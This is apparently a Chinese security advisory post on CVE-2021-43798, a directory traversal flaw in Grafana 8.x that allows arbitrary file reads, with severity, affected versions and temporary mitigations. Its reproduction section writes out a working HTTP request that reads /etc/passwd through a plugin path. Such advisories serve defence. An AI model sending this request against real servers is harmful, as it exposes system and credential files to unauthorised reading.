CVE-2021-43798：Grafana 任意文件读取漏洞预警

2021年12月8日 0条评论 6,064次阅读 12人点赞

0x01 漏洞背景

2021年12月7日，监测到 CVE-2021-43798 Grafana 任意文件读取漏洞。

Grafana是一个跨平台、开源的数据可视化网络应用程序平台。用户配置连接的数据源之后，Grafana可以在网络浏览器里显示数据图表和警告。2021年12月6日，国外安全研究人员披露Grafana中某些接口在提供静态文件时，攻击者通过构造恶意请求，可造成目录遍历，读取系统上的文件。提醒 Grafana 用户尽快采取安全措施阻止漏洞攻击。

0x02 风险等级

高危

0x03 影响版本

Grafana 8.x 系列

0x04 漏洞复现

GET /public/plugins/welcome/../../../../../../../../etc/passwd HTTP/1.1
Host: localhost:3000
Connection: close
《CVE-2021-43798：Grafana 任意文件读取漏洞预警》

0x05 修复建议

二：临时修补建议
截止北京时间2021年12月7日，官方尚未发布新版本，最新release版本8.2.26仍受该漏洞影响。可采用以下方案进行临时防御：
1、使用边界waf功能设置Grafana仅对可信地址开放。
2、利用Nginx等代理或者负载均衡设备禁止含有 .. 的请求以进行临时防御。

参考链接：
https://mp.weixin.qq.com/s/dqJ3F_fStlj78S0qhQ3Ggw
https://mp.weixin.qq.com/s/wVTYDbFQhrm6WcT1TOV7Bw

点赞